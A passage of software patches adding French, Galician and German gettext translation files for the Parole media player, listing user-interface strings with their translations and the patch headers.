+msgid "Japanese"
+msgstr "Japonais"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Cor?en"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "Nordique"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Perse"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Roumain"
+
+#: ../parole/parole-subtitle-encoding.c:300
+msgid "South European"
+msgstr "Europe du Sud"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Tha?"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "Turc"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Occident"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamien"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Ouvrir un emplacement..."
+
+#: ../parole/parole-open-location.c:186
+#, fuzzy
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr "<b>Ouvrir l'emplacement d'un fichier m?dia ou flux live :</b>"
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Effacer l'historique"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "Piste en Cours de Lecture"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Piste %i"
+
+#: ../parole/parole-plugins-manager.c:227
+msgid "Visit Website"
+msgstr "Visiter le Site Web"
+
+#: ../parole/parole-plugins-manager.c:285
+msgid "Visite Website"
+msgstr "Visiter le Site Web"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+#, fuzzy
+msgid "Unknown"
+msgstr "Inconnu"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "Titre :"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Artiste :"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "Album :"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Ann?e :"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "G?n?ral"
+
+#: ../plugins/properties/stream-properties.c:354
+msgid "Stream doesn't support tags changes"
+msgstr "Le flux ne prend pas les changements de tags en charge"
+
+#: ../plugins/properties/stream-properties.c:361
+#, fuzzy
+msgid "Save media tags changes"
+msgstr "Sauvegarder les changements de tags"
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:485
+msgid "Properties"
+msgstr "Propri?t?s"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:486
+#, fuzzy
+msgid "Read media properties"
+msgstr "Lire les propri?t?s du m?dia"
+
+#: ../plugins/tray/tray-icon.c:222
+#, fuzzy
+msgid "<b>Playing:</b>"
+msgstr "<b>Lecture en cours :</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Dur?e :</b>"
+
+#: ../plugins/tray/tray-icon.c:347
+#, fuzzy
+msgid "Tray icon plugin"
+msgstr "Greffon d'ic?ne de la zone de notification"
+
+#: ../plugins/tray/tray-icon.c:356
+msgid "Enable notification"
+msgstr "Activer les notifications"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:427
+#, fuzzy
+msgid "Tray icon"
+msgstr "Ic?ne de la zone de notification"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:428
+#, fuzzy
+msgid "Show icon in the system tray"
+msgstr "Montrer une ic?ne dans la zone de notification"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+#, fuzzy
+msgid "Window title"
+msgstr "Titre de la Fen?tre"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+#, fuzzy
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+"D?finir le nom de la fen?tre principale au nom\n"
+" du m?dia en cours de lecture"
+
--
cgit v0.8.2.1

parole-0.1.90-include-galician-translation.patch:
 gl.po |  721 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 720 insertions(+), 1 deletion(-)

--- NEW FILE parole-0.1.90-include-galician-translation.patch ---
>From df8ad0098db0d1bc1a2f08b89554607e8ec85b19 Mon Sep 17 00:00:00 2001
From: Leandro Regueiro <leandro.regueiro at gmail.com>
Date: Tue, 06 Oct 2009 11:32:08 +0000
Subject: l10n: created galician translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/gl.po b/po/gl.po
new file mode 100644
index 0000000..59ed33a
--- a/dev/null
+++ b/po/gl.po
@@ -0,0 +1,720 @@
+# Galician translation of notification-daemon-xfce
+# Copyright (C) 2009 Leandro Regueiro.
+# This file is distributed under the same license as the Xfce package.
+#
+# Leandro Regueiro <leandro DOT regueiro AT gmail DOT com>, 2009.
+#
+# Proxecto Trasno - Adaptaci?n do software libre ? lingua galega:  Se desexas
+# colaborar connosco, podes atopar m?is informaci?n en <http://trasno.net>
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Parole 0.1\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-16 16:02+0200\n"
+"PO-Revision-Date: 2009-10-04 14:50+0100\n"
+"Last-Translator: Leandro Regueiro <leandro.regueiro at gmail.com>\n"
+"Language-Team: Galician <proxecto at trasno.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (Panor?mico)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+#, fuzzy
+msgid "Aspect Ratio"
+msgstr "Proporci?n de aspecto:"
+
+#: ../data/interfaces/parole.ui.h:5
+#, fuzzy
+msgid "Auto"
+msgstr "Autom?tico"
+
+#: ../data/interfaces/parole.ui.h:6
+msgid "Chapter Menu"
+msgstr "Men? de cap?tulos"
+
+#: ../data/interfaces/parole.ui.h:7
+msgid "DVD Menu"
+msgstr "Men? do DVD"
+
+#: ../data/interfaces/parole.ui.h:8
+#: ../parole/parole-player.c:288
+msgid "Hide playlist"
+msgstr "Ocultar a lista de reproduci?n"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Media player"
+msgstr "Reprodutor multimedia"
+
+#: ../data/interfaces/parole.ui.h:10
+msgid "Mute"
+msgstr "Silencio"
+
+#: ../data/interfaces/parole.ui.h:11
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "Cap?tulo seguinte"
+
+#: ../data/interfaces/parole.ui.h:12
+#, fuzzy
+msgid "None"
+msgstr "Ningunha"
+
+#: ../data/interfaces/parole.ui.h:13
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:225
+#: ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Reprodutor multimedia Parole"
+
+#: ../data/interfaces/parole.ui.h:14
+msgid "Plugins"
+msgstr "Engadidos"
+
+#: ../data/interfaces/parole.ui.h:15
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Cap?tulo anterior"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Repeat"
+msgstr "Repetir"
+
+#: ../data/interfaces/parole.ui.h:17
+msgid "Select Track"
+msgstr "Escoller pista"
+
+#: ../data/interfaces/parole.ui.h:18
+msgid "Shuffle"
+msgstr "Aleatorio"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Sound"
+msgstr "Son"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Square"
+msgstr "Cadrado"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Down"
+msgstr "Baixar o volume"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "Volume Up"
+msgstr "Subir o volume"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Edit"
+msgstr "_Editar"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Help"
+msgstr "A_xuda"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Media"
+msgstr "_Soportes"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Ver"
+
+#: ../data/interfaces/parole.ui.h:27
+#, fuzzy
+msgid "gtk-leave-fullscreen"
+msgstr "Sa?r do modo de pantalla completa"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Autor?a:</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Descrici?n:</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+msgid "<b>Site:</b>"
+msgstr "<b>Sitio:</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Parole Plugins Preferences"
+msgstr "Preferencias dos engadidos de Parole"
+
+#: ../data/interfaces/plugins.ui.h:5
+#, fuzzy
+msgid "gtk-close"
+msgstr "Pechar composici?n"
+
+#: ../data/interfaces/plugins.ui.h:6
+#, fuzzy
+msgid "gtk-properties"
+msgstr "Propiedades do men?"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Son</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+#, fuzzy
+msgid "<b>Display</b>"
+msgstr "<b>Mostrar</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Subt?tulos</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr ""
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Brillo:"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Contraste:"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+#, fuzzy
+msgid "Enable visualization when playing audio file"
+msgstr "Mostrar os efectos visuais cando se reproduza un ficheiro s? de son."
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Codificaci?n: "
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Tipo de letra:"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+#, fuzzy
+msgid "Hue:"
+msgstr "Tinte:"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+#, fuzzy
+msgid "Media Player Settings"
+msgstr "Reprodutor de m?sica Banshee"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Axustes de Parole"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+msgid "Reset To Defaults"
+msgstr "Restablecer as predefinici?ns"
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "Saturaci?n:"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+#, fuzzy
+msgid "Visualization type:"
+msgstr "Tipo de borrado"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Por extensi?n"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr ""
+
+#: ../parole/main.c:52
+#, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+
+#: ../parole/main.c:156
+#, fuzzy
+msgid "Open a new instance"
+msgstr "Abrir un separador novo"
+
+#: ../parole/main.c:157
+msgid "Version information"
+msgstr "Informaci?n de versi?n"
+
+#: ../parole/main.c:158
+#, fuzzy
+msgid "Media to play"
+msgstr "URI para reproducir"
+
+#: ../parole/main.c:193
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr ""
+
+#: ../parole/parole-gst.c:1289
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr ""
+
+#: ../parole/parole-gst.c:1305
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr ""
+
+#: ../parole/parole-gst.c:1501
+msgid "The stream is tacking too much time to load"
+msgstr ""
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Deter"
+
+#: ../parole/parole-mediachooser.c:154
+#, fuzzy
+msgid "Add media files"
+msgstr "Engadir ficheiros ao proxecto"
+
+#: ../parole/parole-mediachooser.c:173
+msgid "Add"
+msgstr "Engadir"
+
+#: ../parole/parole-medialist.c:432
+msgid "Error saving playlist file"
+msgstr "Erro ao gardar o ficheiro de lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:432
+msgid "Permission denied"
+msgstr "Permiso denegado"
+
+#: ../parole/parole-medialist.c:441
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr ""
+
+#: ../parole/parole-medialist.c:507
+#: ../parole/parole-player.c:1542
+msgid "Playlist"
+msgstr "Lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:514
+#, fuzzy
+msgid "M3U Playlists"
+msgstr "Soporta listas de reproduci?n"
+
+#: ../parole/parole-medialist.c:522
+#, fuzzy
+msgid "PLS Playlists"
+msgstr "Soporta listas de reproduci?n"
+
+#: ../parole/parole-medialist.c:530
+#, fuzzy
+msgid "Advanced Stream Redirector"
+msgstr "Comentar ou descomentar en _fluxo"
+
+#: ../parole/parole-medialist.c:538
+#, fuzzy
+msgid "Shareable Playlist"
+msgstr "Lista de reproduci?n XML compart?bel"
+
+#: ../parole/parole-medialist.c:853
+#, fuzzy
+msgid "Remember playlist"
+msgstr "Eliminar a lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:1003
+#, fuzzy
+msgid "Media list"
+msgstr "Lista de vari?beis"
+
+#: ../parole/parole-player.c:297
+#, fuzzy
+msgid "Show playlist"
+msgstr "Amosar a a lista de re_produci?n"
+
+#: ../parole/parole-player.c:507
+#, fuzzy
+msgid "Media stream is not seekable"
+msgstr "A canci?n actual non se pode buscar"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Seguinte pista"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Pista anterior"
+
+#: ../parole/parole-statusbar.c:60
+msgid "Buffering"
+msgstr "Almacenando no b?fer"
+
+#: ../parole/parole-statusbar.c:77
+msgid "Stopped"
+msgstr "Detido"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Finalizado"
+
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Pausado"
+
+#: ../parole/parole-statusbar.c:117
+#, fuzzy
+msgid "Live stream:"
+msgstr "Fluxo desco?ecido"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Son"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "V?deo"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Son e v?deo"
+
+#: ../parole/parole-filters.c:111
+#, fuzzy
+msgid "All supported files"
+msgstr "Pechar todos os ficheiros"
+
+#: ../parole/parole-filters.c:127
+#, fuzzy
+msgid "Playlist files"
+msgstr "Todos os ficheros"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Autor/Mantedor"
+
+#: ../parole/parole-about.c:62
+#, fuzzy, c-format
+msgid "Translator (%s)"
+msgstr "Tradutor (%s)"
+
+#: ../parole/parole-disc.c:202
+#, fuzzy
+msgid "Play Disc"
+msgstr "Reproducir o disco '%s'"
+
+#: ../parole/parole-subtitle-encoding.c:165
+#, fuzzy
+msgid "Current Locale"
+msgstr "Configuraci?n rexional actual"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "?rabe"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Armenio"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "B?ltico"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Celta"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Centroeuropeo"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chin?s simplificado"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chin?s tradicional"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Croata"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Cir?lico"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Cir?lico/Ruso"
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Cir?lico/Ucra?no"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "Xeorxiano"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Grego"
+
+#: ../parole/parole-subtitle-encoding.c:249
+#, fuzzy
+msgid "Gujarati"
+msgstr "Guxarati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+#, fuzzy
+msgid "Gurmukhi"
+msgstr "Gurmukhi"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "Hebreo"
+
+#: ../parole/parole-subtitle-encoding.c:264
+#, fuzzy
+msgid "Hebrew Visual"
+msgstr "Hebreo visual"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Island?s"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Xapon?s"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Coreano"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "N?rdico"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Persa"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Roman?s"
+
+#: ../parole/parole-subtitle-encoding.c:300
+#, fuzzy
+msgid "South European"
+msgstr "Sureuropeo"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Tailand?s"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "Turco"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Occidental"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamita"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Abrir localizaci?n..."
+
+#: ../parole/parole-open-location.c:186
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr ""
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Limpar o historial"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "A reproducir a pista"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Pista %i"
+
+#: ../parole/parole-plugins-manager.c:227
+msgid "Visit Website"
+msgstr "Visitar o sitio web"
+
+#: ../parole/parole-plugins-manager.c:285
+#, fuzzy
+msgid "Visite Website"
+msgstr "P?xina web de Banshee"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+msgid "Unknown"
+msgstr "Desco?ecido"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "T?tulo:"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Artista:"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "?lbum:"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Ano:"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "Xeral"
+
+#: ../plugins/properties/stream-properties.c:354
+#, fuzzy
+msgid "Stream doesn't support tags changes"
+msgstr "O fluxo non soporta query_info"
+
+#: ../plugins/properties/stream-properties.c:361
+#, fuzzy
+msgid "Save media tags changes"
+msgstr "Non se poden gardar as modificaci?ns na conta."
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:485
+msgid "Properties"
+msgstr "Propiedades"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:486
+#, fuzzy
+msgid "Read media properties"
+msgstr "Propiedades do elemento de men?"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Playing:</b>"
+msgstr "<b>Reproducindo:</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Duraci?n:</b>"
+
+#: ../plugins/tray/tray-icon.c:347
+#, fuzzy
+msgid "Tray icon plugin"
+msgstr "Icona de estado:"
+
+#: ../plugins/tray/tray-icon.c:356
+msgid "Enable notification"
+msgstr "Activar as notificaci?ns"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:427
+#, fuzzy
+msgid "Tray icon"
+msgstr "Icona de estado:"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:428
+msgid "Show icon in the system tray"
+msgstr "Mostrar a icona na ?rea de notificaci?n"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+msgid "Window title"
+msgstr "T?tulo da fiestra"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+
--
cgit v0.8.2.1

parole-0.1.90-include-german-translation.patch:
 LINGUAS |    2 
 de.po   |  751 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 751 insertions(+), 2 deletions(-)

--- NEW FILE parole-0.1.90-include-german-translation.patch ---
>From c30195f5b7d372f207d039b07d348d795886d926 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 07 Oct 2009 08:35:21 +0000
Subject: Added German transaltion

---
diff --git a/po/LINGUAS b/po/LINGUAS
index 97fa9f4..78da3e1 100644
--- a/po/LINGUAS
+++ b/po/LINGUAS
@@ -1,2 +1,2 @@
 # set of available languages (in alphabetic order)
-ast da es id ja ru sk tr uk
+ast da de es fr id ja ru sk tr uk
diff --git a/po/de.po b/po/de.po
new file mode 100644
index 0000000..35832c6
--- a/dev/null
+++ b/po/de.po
@@ -0,0 +1,750 @@
+# German translation of Parole.
+# Copyright (C) 2009 Parole's COPYRIGHT HOLDER
+# This file is distributed under the same license as the Parole package.
+# Mario Bl?ttermann <mariobl at gnome.org>, 2009.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: parole master\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
+"PO-Revision-Date: 2009-10-06 22:56+0100\n"
+"Last-Translator: Mario Bl?ttermann <mariobl at gnome.org>\n"
+"Language-Team: German <gnome-de at gnome.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1)\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (Breitbild)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+msgid "Aspect Ratio"
+msgstr "Seitenverh?ltnis"
+
+#: ../data/interfaces/parole.ui.h:5
+msgid "Auto"
+msgstr "Automatisch"
+
+#: ../data/interfaces/parole.ui.h:6
+msgid "Chapter Menu"
+msgstr "Kapitelmen?"
+
+#: ../data/interfaces/parole.ui.h:7
+msgid "DVD Menu"
+msgstr "DVD-Men?"
+
+#: ../data/interfaces/parole.ui.h:8
+msgid "Media player"
+msgstr "Medien-Abspieler"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Mute"
+msgstr "Stumm"
+
+#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "N?chstes Kapitel/Film"
+
+#: ../data/interfaces/parole.ui.h:11
+msgid "None"
+msgstr "Kein"
+
+#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Parole Medien-Abspieler"
+
+#: ../data/interfaces/parole.ui.h:13
+msgid "Plugins"
+msgstr "Plugins"
+
+#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Vorheriges Kapitel/Film"
+
+#: ../data/interfaces/parole.ui.h:15
+msgid "Repeat"
+msgstr "Endlosschleife"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Select Track"
+msgstr "Titel ausw?hlen"
+
+#: ../data/interfaces/parole.ui.h:17
+msgid "Shuffle"
+msgstr "Zufallsmodus"
+
+#: ../data/interfaces/parole.ui.h:18
+msgid "Sound"
+msgstr "Sound"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Square"
+msgstr "Quadratisch"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Volume Down"
+msgstr "Leiser"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Up"
+msgstr "Lauter"
+
